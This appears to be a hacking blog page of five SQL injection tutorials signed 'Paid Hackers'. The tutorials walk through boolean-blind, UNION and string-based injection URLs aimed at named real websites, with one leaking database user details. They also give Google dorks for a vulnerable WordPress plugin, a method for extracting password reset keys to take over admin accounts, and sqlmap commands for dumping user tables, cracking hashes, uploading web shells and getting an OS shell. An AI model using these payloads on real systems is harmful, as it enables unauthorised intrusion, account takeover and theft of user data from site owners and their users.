Results for sql

Boolean Based Blind Injection for sql injection - By Paid Hackers

18:34
boolean based blind sql injection


Introduction

So a lot of people view bling injection as having to guess everything, when it's called blind injection because no data is visible on the page as an outcome.

Remember, whenever you're injecting a site, as long as information_schema exists (version 5 or more), then you can use it to get data out of a page. This includes table names, database names, columns, and all the rest..


Here's a quick tutorial on getting data using blind injection for versions 5 or above, without guessing the outcome.



we'll be using this site as an example.

Getting The Version


Code:

http://cathedralhillpress.com/book.php?id=1


Let's start by getting the version, to see if we can use substring() to get data out of information_schema.


Code:

http://cathedralhillpress.com/book.php?id=1 and substring(version(),1,1)=5


It loads fine, now let's replace the 5 with a 4 to double check.


Code:

http://cathedralhillpress.com/book.php?id=1 and substring(version(),1,1)=4


As you can see, the page has a huge chunk of text and pictures missing off of the page.

Getting The Table Names

Now let's get the first character, of the first table name out of our database.


Code:

http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+​limit+0,1),1,1))>0


The page loaded fine, so we know our first characters' ascii value is more then 0.

So we increment 0 until we get around the area it will be in.


Code:

http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+​limit+0,1),1,1))>75


We know it's more then 75, so let's go up a little bit more.


Code:

http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+​limit+0,1),1,1))>80


Now we get our error, so let's go down, and change more then, to equals to get the exact value.


Code:

http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+​limit+0,1),1,1))=76


We get our error, so let's go up.


Code:

http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+​limit+0,1),1,1))=77


Another error, let's go up again.


Code:

http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+​limit+0,1),1,1))=78


And now it loads fine, so let's check the ascii value for 78.

You can check that here, by looking at the ASCII table.
ASCII Table

78 comes back to "N".

Now we know our first letter is N, so let's get the next letter by incrementing the 1, to a 2, in our substring() statement.


Code:

http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+​limit+0,1),2,1))>100


We know it's more then 100, so let's go up to 101 now.


Code:

http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+​limit+0,1),2,1))>101


We get our error. If the returned value is greater then 100, but not greater then 101, then it has to be 101. It's common sense.


Code:

http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+​limit+0,1),2,1))=101


And it loads fine...Now convert the ascii value of 101 to text. It comes back to "e".

So far we have "Ne"

Now you can either keep getting the returned values, or try and guess the table name. It looks like News, so let's get our next character and guess.

The ascii value of "w" is 119, so let's see if it comes out positive.



Code:

http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+​limit+0,1),3,1))=119


It loads fine, so now we have "New".

Lets check the last one...

The value of "s" is 115, so let's guess again.


Code:

http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+​limit+0,1),4,1))=115


Now we have our "News" table, but how do we know if there's more characters or not? We can check if the 5th letter's ascii value is > 0, and if it's not, it doesn't exist. So let's check.


Code:

http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(table_name)+from+information_schema.tables+where+table_schema=database()+​limit+0,1),5,1))>0


And the page loads with an error.

Getting The Column Names

Getting the columns is fairly similar to getting the table names, you just add a where clause, and convert your table name to HEX/ASCII characters.

Let's see if our table even has columns first.


Code:

cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(column_name)+from+information_schema.columns+where+table_name=0x4e657773+​limit+0,1),1,1))>0


Page loads fine, so we have a first character that's value is more then 0. Now let's get the column name.


Code:

cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(column_name)+from+information_schema.columns+where+table_name=0x4e657773+​limit+0,1),1,1))>100


No errors, let's go up.


Code:

cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(column_name)+from+information_schema.columns+where+table_name=0x4e657773+​limit+0,1),1,1))>105


Error, it's between 100 and 105.


Code:

cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(column_name)+from+information_schema.columns+where+table_name=0x4e657773+​limit+0,1),1,1))=105


Loads fine, the value of 105 is "i".

Then we repeat the process, until we get our next character.


Code:

http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(column_name)+from+information_schema.columns+where+table_name=0x4e657773+​limit+0,1),2,1))>95


No error, let's try 100.


Code:

http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(column_name)+from+information_schema.columns+where+table_name=0x4e657773+​limit+0,1),2,1))>100


Error, let's see if it = 100.


Code:

http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(column_name)+from+information_schema.columns+where+table_name=0x4e657773+​limit+0,1),2,1))=100


No error, so now we have "id". Theres your first column, to get the next one, you'd just increase the limit and start over on your substring() statement.


Code:

http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(column_name)+from+information_schema.columns+where+table_name=0x4e657773+​limit+1,1),1,1))>0


Getting Data Out Of Columns

It's the same process, except we put our column names in a concat statement, FROM the TABLENAME.


Code:

http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(id)+from+News+limit+0,1),1,1))>0


So let's get our first character..


Code:

http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(id)+from+News+limit+0,1),1,1))>45


No error, let's go up.


Code:

http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(id)+from+News+limit+0,1),1,1))>50


Error, go back down until you find the right one.


Code:

http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(id)+from+News+limit+0,1),1,1))=49


Loads fine, and the ascii value of 49 comes back to "1".

Now let's check if there's a second character..


Code:

http://cathedralhillpress.com/book.php?id=1+and+ascii(substring((select concat(id)+from+News+limit+0,1),2,1))>0


We get an error, so that was all that was our first result.

Conclusion

As you can see, "Blind Injection" doesn't really have to do with guessing, as long as your site has information_schema. The correct term is actually "Boolean Based Blind Injection", which makes sense. A Boolean returns a value of true/false, which is what we just went over.

                                         Sincerely Paid hackers
Boolean Based Blind Injection for sql injection - By Paid Hackers Boolean Based Blind Injection for sql injection  - By Paid Hackers Reviewed by amit on 18:34 Rating: 5

Hack WordPress site with SQL injection - By Paid Hackers

08:56
sql injection

So lets begin.

First of all we need to find a vulnerable page.
We enter this in Google:


Code:
# Dork 1 (config.php)
inurl:"/wp-content/plugins/hd-webplayer/config.php?id="

# Dork 2 (playlist.php)
inurl:"/wp-content/plugins/hd-webplayer/playlist.php?videoid="

# Dork 3 (General):
inurl:"/wp-content/plugins/hd-webplayer/"

When you found your site you need to find admin email and username.
I will be using this site for example:
Code:
http://www.thefreenudecelebritysite.com/wp-content/plugins/hd-webplayer/playlist.php?videoid=3

[Image: regiont.png]

When i add ' text disappears so it is vulnerable.

[Image: regionzn.png]

NOTE: I will not demonstrate how to SQL inject.

Now we need admin username and email.
We need to inject:

Code:
http://www.thefreenudecelebritysite.com/wp-content/plugins/hd-webplayer/playlist.php?videoid=-3 UNION SELECT 1,2,3,group_concat(user_login,0x3a,user_email,0x3b),5,6,7,8,9,10,11 FROM wp_users--

Now we have 2 users.

[Image: regionjhg.png]

We pick one and copy his email.
Go to the login page of the site.
It is usually here:

Code:
http://www.site.com/wp-login.php

And press "Lost your password?"

[Image: regionz.png]

Now you enter either username or email.
We can enter both so it doesnt matter.
I entered email.

[Image: regionby.png]
[Image: regionng.png]

Now when you got:

"Check your e-mail for the confirmation link."

It means that reset key is successfully sent.
Now we need to get the activation key.

Go back to the syntax you used for extracting email and username and do this:

Code:
http://www.thefreenudecelebritysite.com/wp-content/plugins/hd-webplayer/playlist.php?videoid=-3 UNION SELECT 1,2,3,group_concat(user_login,0x3a,user_email,0x3b),5,6,7,8,9,10,11 FROM wp_users--

Code:
http://www.thefreenudecelebritysite.com/wp-content/plugins/hd-webplayer/playlist.php?videoid=-3 UNION SELECT 1,2,3,group_concat(user_login,0x3a,user_activation_key,0x3b),5,6,7,8,9,10,11 FROM wp_users--

[Image: regiongn.png]

Voila!
Now we just need to reset it.

Go to:
Code:
wp-login.php?action=rp&key=resetkey&login=username

NOTE: Replace key= & login=

So my link will be:

[Image: regionzi.png]

Enter new password:

[Image: thefreenudecelebritysit.png]
[Image: regiongv.png]

Login with new password and shell it.

That's it guys.

                               Sincerely Paid hackers
Hack WordPress site with SQL injection - By Paid Hackers Hack WordPress site with SQL injection - By Paid Hackers Reviewed by amit on 08:56 Rating: 5

String based SQL Injection tutorial - By Paid Hackers

00:33
This tutorial is  String based Injection tutorial .


Lets get it on.

I have no knowledge in SQL Injection, is this tutorial usefull?
No, I suggest you read up some tutorials on Union based SQL Injection before attempting this technique.

When should I read/use this tutorial?
You should use this tutorial when you are stuck at the 'order by' command that is giving you NO error.


--

Problem: You have a site which gives your a SQL Error but when performing "order by" You don't get any errors.

Then you are probably going to have to use 'string based Injection'.

Here is how this works.


1.
We try this site:


Code:
http://www.target.co.uk/products.php?id=6'

Which gives us the Error:
Code:
There was an error, please try again later. Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''6'' ORDER BY orderID LIMIT 0, 3' at line 1


2.
Now we know it's vulnerable and moving over the the 'order by' command.

Code:
http://www.target.co.uk/products.php?id=6 order by 1--
This gives us a normal page


3.
We now try a large number with the 'order by', like this:
Code:
http://www.target.co.uk/products.php?id=6 order by 1000--
Hmm, still no error.


4.
We will now make some changes in the syntax.
We will put a ' after 6 and a +- after the hyphens (--).

Our syntax would now look like this:

Code:
http://www.target.co.uk/products.php?id=6' order by 1--+

This code gives ur no error, which is good.


5.
Now we try the same syntax, but with larger number:

Code:
http://www.target.co.uk/products.php?id=6' order by 1000--+

Finaly, this gives us this error:

Code:
There was an error, please try again later. Error: Unknown column '1000' in 'order clause'


6.
Now, we would like to find the column count, just like in union based, we try something like:

Code:
http://www.target.co.uk/products.php?id=6' order by 13--+

No error, which means the column count is higher than 13 (you know the deal).



7.
Now we try:

Code:
http://www.target.co.uk/products.php?id=6' order by 14--+

Which gives ur error:
Code:
There was an error, please try again later. Error: Unknown column '14' in 'order clause'

8.
Now the injection works just like in 'union based'.

Code:
http://www.target.co.uk/products.php?id=-6' union select 1,2,3,4,5,6,7,8,9,10,11,12,13--+
9.
Now, you hax it.

Code:
http://www.matrixinnovations.co.uk/products.php?id=-6' union select 1,concat(version(),0x3a,database(),0x3a,user(),0x3a,@@datadir),3,4,5,6,7,8,9,10, ​11,12,13--+

Output:
Code:
There was an error, please try again later.
5.1.56-community-log:web183-newmatrix:web183-newmatrix@79.170.40.183:/var/lib/mysql/
6
                   Sincerely Paid hackers
String based SQL Injection tutorial - By Paid Hackers String based SQL Injection tutorial - By Paid Hackers Reviewed by amit on 00:33 Rating: 5

SQL Injection Intermediate Level - By Paid Hackers

00:21
sql injection attack on mysql database

SQL Injection Intermediate Level

This is a theoretical post about types of SQL Injection attacks and the concepts behind SQL Injection. I have added this here since so far we had been dealing with URLs, and will continue to do so. For the attacker, there is no direct way to write complete queries and he/she may only make changes to the URL or input form. However, the knowledge of MySQL (or any other DBMS) part of the attack is necessary, since it will be required when you deal with more robust websites where the standard attacks won't work and you need to get creative.

Types of SQL Injection attacks

  • SQL injection + insufficient authentication
  • SQL injection + DDoS attacks
  • SQL injection + DNS hijacking
  • SQL injection + XSS

Technical implementations

Incorrectly filtered escape characters

This form of SQL injection occurs when user input is not filtered for escape characters and is then passed into a SQL statement. This results in the potential manipulation of the statements performed on the database by the end-user of the application.
The following line of code illustrates this vulnerability:
statement = "SELECT * FROM users WHERE name ='" + userName + "';"
This SQL code is designed to pull up the records of the specified username from its table of users. However, if the "userName" variable is crafted in a specific way by a malicious user, the SQL statement may do more than the code author intended. For example, setting the "userName" variable as:
' or '1'='1
or using comments to even block the rest of the query (there are three types of SQL comments). All three lines have a space at the end:
' or '1'='1' -- 
' or '1'='1' ({ 
' or '1'='1' /* 
renders one of the following SQL statements by the parent language:
SELECT * FROM users WHERE name = '' OR '1'='1';
SELECT * FROM users WHERE name = '' OR '1'='1' -- ';
If this code were to be used in an authentication procedure then this example could be used to force the selection of a valid username because the evaluation of '1'='1' is always true.
The following value of "userName" in the statement below would cause the deletion of the "users" table as well as the selection of all data from the "userinfo" table (in essence revealing the information of every user), using an API that allows multiple statements:
a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't
This input renders the final SQL statement as follows and specified:
SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't';
While most SQL server implementations allow multiple statements to be executed with one call in this way, some SQL APIs such as PHP's mysql_query() function do not allow this for security reasons. This prevents attackers from injecting entirely separate queries, but doesn't stop them from modifying queries.

Incorrect type handling

This form of SQL injection occurs when a user-supplied field is not strongly typed or is not checked for type constraints. This could take place when a numeric field is to be used in a SQL statement, but the programmer makes no checks to validate that the user supplied input is numeric. For example:
statement := "SELECT * FROM userinfo WHERE id =" + a_variable + ";"
It is clear from this statement that the author intended a_variable to be a number correlating to the "id" field. However, if it is in fact a string then the end-user may manipulate the statement as they choose, thereby bypassing the need for escape characters. For example, setting a_variable to
1;DROP TABLE users
will drop (delete) the "users" table from the database, since the SQL becomes:
SELECT * FROM userinfo WHERE id=1;DROP TABLE users;

Blind SQL injection

Blind SQL Injection is used when a web application is vulnerable to an SQL injection but the results of the injection are not visible to the attacker. The page with the vulnerability may not be one that displays data but will display differently depending on the results of a logical statement injected into the legitimate SQL statement called for that page. This type of attack can become time-intensive because a new statement must be crafted for each bit recovered. There are several tools that can automate these attacks once the location of the vulnerability and the target information has been established.

Conditional responses

One type of blind SQL injection forces the database to evaluate a logical statement on an ordinary application screen. As an example, a book review website uses a query string to determine which book review to display. So the URL http://books.example.com/showReview.php?ID=5 would cause the server to run the query
SELECT * FROM bookreviews WHERE ID = 'Value(ID)';
from which it would populate the review page with data from the review with ID 5, stored in the table bookreviews. The query happens completely on the server; the user does not know the names of the database, table, or fields, nor does the user know the query string. The user only sees that the above URL returns a book review. A hacker can load the URLs http://books.example.com/showReview.php?ID=5 OR 1=1 and http://books.example.com/showReview.php?ID=5 AND 1=2, which may result in queries
SELECT * FROM bookreviews WHERE ID = '5' OR '1'='1';
SELECT * FROM bookreviews WHERE ID = '5' AND '1'='2';
respectively. If the original review loads with the "1=1" URL and a blank or error page is returned from the "1=2" URL, and the returned page has not been created to alert the user the input is invalid, or in other words, has been caught by an input test script, the site is likely vulnerable to a SQL injection attack as the query will likely have passed through successfully in both cases. The hacker may proceed with this query string designed to reveal the version number of MySQL running on the server:
http://books.example.com/showReview.php?ID=5 AND substring(@@version,1,1)=4
, which would show the book review on a server running MySQL 4 and a blank or error page otherwise. The hacker can continue to use code within query strings to glean more information from the server until another avenue of attack is discovered or his or her goals are achieved.

Second Order SQL Injection

Second order SQL injection occurs when submitted values contain malicious commands that are stored rather than executed immediately. In some cases, the application may correctly encode a SQL statement and store it as valid SQL. Then, another part of that application without controls to protect against SQL injection might execute that stored SQL statement. This attack requires more knowledge of how submitted values are later used. Automated web application security scanners would not easily detect this type of SQL injection and may need to be manually instructed where to check for evidence that it is being attempted.
This post is licensed under Creative Commons Attribution-ShareAlike 3.0. This license permits sharing, but requires attribution and that the content be shared under same or similar license . The source of the content in this page is -
https://en.wikipedia.org/wiki/SQL_injection
License details can be read here https://en.wikipedia.org/wiki/Wikipedia:Text_of_Creative_Commons_Attribution-ShareAlike_3.0_Unported_License
SQL Injection Intermediate Level - By Paid Hackers  SQL Injection Intermediate Level - By Paid Hackers Reviewed by amit on 00:21 Rating: 5

Hacking Websites using SQLMAP (Advanced) - By Paid Hackers

19:36

sqlmap sql injection for hacking websites

Hey companions, Paid programmers is back with another tutorial on Hacking Websites. Today we will figure out how to hack sites utilizing SQLMAP. Hacking sites utilizing SQLMAP is simple, on the off chance that you know how to utilize SQLMAP. Sqlmap is a standout amongst the most prominent and capable sql injection automation tool out there. Get it from http://sqlmap.org/. In this excercise we are going to figure out how to utilize sqlmap to exploit a vulnerable web application and see what all should be possible with such a hacking tool. 

For the rundown of option and parameters that can be utilized with the sqlmap command, check the accompanying url 

https://github.com/sqlmapproject/sqlmap/wiki/Usage 

To comprehend this tutorial you ought to have an exhaustive comprehension of how database driven web applications work. Case in point those made with php+mysql.

Urls

Lets say you have a url like this 

http://www.site.com/section.php?id=51 

what's more, that it is inclined to sql injection in light of the fact that the engineer/developer of that site did not appropriately get away from the parameter id. This can be essentially tried by attempting to open the url 

http://www.site.com/section.php?id=51′ 

We simply included a solitary quote in the parameter. In the event that this url tosses a blunder then it is pass that the database has responded with a mistake/error in light of the fact that it got an unxpected single quot


Hacking with sqlmap

Presently now is the ideal time to proceed onward to sqlmap to hack such urls. The sqlmap command is keep running from the terminal with the python interpreter. 

python sqlmap.py -u  "http://www.site.com/section.php?id=51″ 

The above is the first and most basic command to keep running with the sqlmap device. It will check the url and attempt to find essential data about the system. The yield can look something like this


[*] starting at 12:10:33[12:10:33] [INFO] resuming back-end DBMS ‘mysql’
[12:10:34] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
—
Place: GET
Parameter: id
Type: error-based
Title: MySQL >= 5.0 AND error-based – WHERE or HAVING clause
Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
—
[12:10:37] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
So the sqlmap device has found the Operating system, web server and database alongside form data. Indeed, even this much is really amazing. Be that as it may, now is the ideal time to proceed onward and see what more is this tool able to do.

Discover Databases

In this step sqlmap shall be used to find out what databases exist on the target system. Again the command is very simple


$ python sqlmap.py -u “http://www.sitemap.com/section.php?id=51″ –dbs
The output could be something like this


[*] starting at 12:12:56[12:12:56] [INFO] resuming back-end DBMS ‘mysql’
[12:12:57] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
—
Place: GET
Parameter: id
Type: error-based
Title: MySQL >= 5.0 AND error-based – WHERE or HAVING clause
Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
—
[12:13:00] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[12:13:00] [INFO] fetching database names
[12:13:00] [INFO] the SQL query used returns 2 entries
[12:13:00] [INFO] resumed: information_schema
[12:13:00] [INFO] resumed: safecosmetics
available databases [2]:
[*] information_schema
[*] safecosmetics
This time the output contains the available databases list. Move on…
Find tables in the database
Now its time to find out what tables exist in a particular database. Lets say the database of interest over here is ‘safecosmetics’
Command


$ python sqlmap.py -u “http://www.site.com/section.php?id=51″ –tables -D safecosmetics
and the output can be something similar to this


[11:55:18] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[11:55:18] [INFO] fetching tables for database: ‘safecosmetics’
[11:55:19] [INFO] heuristics detected web page charset ‘ascii’
[11:55:19] [INFO] the SQL query used returns 216 entries
[11:55:20] [INFO] retrieved: acl_acl
[11:55:21] [INFO] retrieved: acl_acl_sections
[11:55:22] [INFO] retrieved: acl_acl_seq
[11:55:24] [INFO] retrieved: acl_aco
[11:55:25] [INFO] retrieved: acl_aco_map
[11:55:26] [INFO] retrieved: acl_aco_sections
[11:55:28] [INFO] retrieved: acl_aco_sections_seq
………..
isnt this amazing ? it if ofcourse. Lets get the columns of a particular table now.
Get columns of a table
Now that we have the list of tables with us, it would be a good idea to get the columns of some important table. Lets say the table is ‘users’ and it contains the username and password.


$ python sqlmap.py -u “http://www.site.com/section.php?id=51″ –columns -D safecosmetics -T users
The output can be something like this

[12:17:39] [INFO] the back-end DBMS is MySQL
web server operating system: FreeBSD
web application technology: Apache 2.2.22
back-end DBMS: MySQL 5
[12:17:39] [INFO] fetching columns for table 'users' in database 'safecosmetics'
[12:17:41] [INFO] heuristics detected web page charset 'ascii'
[12:17:41] [INFO] the SQL query used returns 8 entries
[12:17:42] [INFO] retrieved: id
[12:17:43] [INFO] retrieved: int(11)                                                                                         
[12:17:45] [INFO] retrieved: name                                                                                            
[12:17:46] [INFO] retrieved: text                                                                                            
[12:17:47] [INFO] retrieved: password                                                                                        
[12:17:48] [INFO] retrieved: text                                                                                            
[12:17:49] [INFO] retrieved: permission                                                                                      
[12:17:51] [INFO] retrieved: tinyint(4)                                                                                      
[12:17:52] [INFO] retrieved: email                                                                                           
[12:17:53] [INFO] retrieved: text                                                                                            
[12:17:54] [INFO] retrieved: system_home                                                                                     
[12:17:55] [INFO] retrieved: text
[12:17:57] [INFO] retrieved: system_allow_only
[12:17:58] [INFO] retrieved: text
[12:17:59] [INFO] retrieved: hash
[12:18:01] [INFO] retrieved: varchar(128)
Database: safecosmetics
Table: users
[8 columns]
+-------------------+--------------+
| Column            | Type         |
+-------------------+--------------+
| email             | text         |
| hash              | varchar(128) |
| id                | int(11)      |
| name              | text         |
| password          | text         |
| permission        | tinyint(4)   |
| system_allow_only | text         |
| system_home       | text         |
+-------------------+--------------+
So now the columns are clearly visible. Good job!
Get data of the table
Now comes the most interesting part, of extracting the data from the table. The command would be


$ python sqlmap.py -u “http://www.site.com/section.php?id=51″ –dump -D safecosmetics -T users
The above command will simply dump the data of the particular table, very much like the mysqldump command.

The output might look similar to this

+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+
| id | hash               | name      | email     | password | permission | system_home | system_allow_only |
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+
| 1  | 5DIpzzDHFOwnCvPonu | admin     |    |   | 3          |      |            |
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+
The hash column seems to have the password hash. Try cracking the hash and then you would get the login details rightaway. sqlmap will create a csv file containing the dump data for easy analysis.


What Next ?

Execute arbitrary Sql command on the server
This is probably the easiest thing to do on a server that is vulnerable to sql injection. The –sql-query parameter can be used to specify a sql query to execute. Things of interest would be to create a user in the users table or something similar. Or may be change/modify the content of cms pages etc.
Another paramter –sql-shell would give an sql shell like interface to run queries interactively.
Get inside the admin panel and play
If the website is running somekind of custom cms or something similar that has an admin panel, then it might be possible to get inside provided you are able to crack the password retrieved in the database dump. Simple and short length passwords can be broken simply by bruteforcing, however long length complex passwords may not be breakable.
Check if the admin panel allows to upload some files. If an arbitrary php file can be uploaded then it be a lot greater fun. The php file can contain shell_exec, system ,exec or passthru function calls and that will allow to execute arbitary system commands. Php web shell scripts can be uploaded to do the same thing.
Shell on remote OS
This is the thing to do to completely takeover the server. However note that it is not as easy and trivial as the tricks shown above. sqlmap comes with a parameter call –os-shell that can be used to try to get a shell on remote system, but it has many limitations of its own.
According to the sqlmap manual

It is possible to run arbitrary commands on the database server’s underlying operating system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse database specific functionalities and architectural weaknesses.
The most important privilege needed by the current database user is to write files through the database functions. This is absent in most cases. Hence this technique will not work in most cases.


Note

1. Sometimes sqlmap is unable to connect to the url at all. This is visible when it gets stuck at the first task of “testing connection to the target url”. In such cases its helpful to use the “–random-agent” option. This makes sqlmap to use a valid user agent signature like the ones send by a browser like chrome or firefox.
2. For urls that are not in the form of param=value sqlmap cannot automatically know where to inject. For example mvc urls like
http://www.site.com/class_name/method/43/80.
In such cases sqlmap needs to be told the injection point marked by a *
http://www.site.com/class_name/method/43*/80
The above will tell sqlmap to inject at the point marked by *

                                           Sincerely Paid hackers
Hacking Websites using SQLMAP (Advanced) - By Paid Hackers Hacking Websites using SQLMAP  (Advanced) - By Paid Hackers Reviewed by amit on 19:36 Rating: 5
Powered by Blogger.